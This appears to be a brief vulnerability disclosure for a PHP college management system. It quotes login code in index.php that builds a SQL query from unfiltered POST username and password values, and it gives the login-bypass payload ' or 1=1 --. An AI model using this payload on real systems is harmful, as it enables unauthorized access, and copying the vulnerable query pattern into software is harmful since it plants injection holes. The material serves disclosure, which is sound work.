The College Management System Php suffers from sql injection vulnerabilities in the index.php page:

$msg="";
if(isset($_POST['btn_log'])){
  $uname=$_POST['unametxt'];
  $pwd=$_POST['pwdtxt'];

  $sql=mysqli_query($con,"SELECT * FROM users_tbl
              WHERE username='$uname' AND password='$pwd'

SQL injection vulnerability:-
in file index.php data from POST parameter 'unametxt' and 'pwdtxt' are not getting filter before passing into SQL query and hence rising SQL Injection vulnerability

payload:
' or 1=1 --
